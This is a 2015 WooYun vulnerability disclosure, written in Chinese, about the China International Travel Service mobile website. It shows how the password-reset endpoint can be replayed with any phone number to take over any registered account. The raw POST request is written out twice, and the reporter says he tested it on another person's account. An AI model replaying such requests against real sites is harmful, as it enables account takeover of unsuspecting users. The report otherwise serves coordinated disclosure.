中国国旅网站可以修改任何人的登录密码/秒改

发表于 2015年06月08日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0119139

漏洞标题：中国国旅网站可以修改任何人的登录密码/秒改

漏洞详情

披露状态：

2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-09: 厂商已经确认，细节仅向厂商公开
2015-06-19: 细节向核心白帽子及相关领域专家公开
2015-06-29: 细节向普通白帽子公开
2015-07-09: 细节向实习白帽子公开
2015-07-24: 细节向公众公开

简要描述：

这个危害有点严重啊，给个20rank

详细说明：

1.是下面这个站点，中国国旅网手机网站：http://m.cits.cn/

2.按照正常注册账号，使用忘记密码功能走一遍重置账号的流程，登录接口如下：http://m.cits.cn/login.html

3.重置后获取到修改密码的接口：

POST /login/passwordreset.html HTTP/1.1<br>
Host: m.cits.cn<br>
Proxy-Connection: keep-alive<br>
Content-Length: 76<br>
Cache-Control: max-age=0<br>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br>
Origin: http://m.cits.cn<br>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36<br>
Content-Type: application/x-www-form-urlencoded<br>
Referer: http://m.cits.cn/login/passwordreset.html<br>
Accept-Encoding: gzip, deflate<br>
Accept-Language: zh-CN,zh;q=0.8<br>
Cookie:password=123456&again_password=123456&pageType=mobile&mobile=13888888888

POST /login/passwordreset.html HTTP/1.1

Host: m.cits.cn

Proxy-Connection: keep-alive

Content-Length: 76

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://m.cits.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://m.cits.cn/login/passwordreset.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie:password=123456&again_password=123456&pageType=mobile&mobile=13888888888

4.直接使用该功能进行重放，修改任意手机号，即可修改该账号的密码，前提该账户是注册用户；

5.我使用了自己手机号进行测试，可以根据该接口正常修改账号，为了验证漏洞准确性，我找我乌云上另一个案例中的一个手机号码：http://static.wooyun.org/wooyun/upload/201504/11103819dcf397178541bdfa87d89b662f775157.png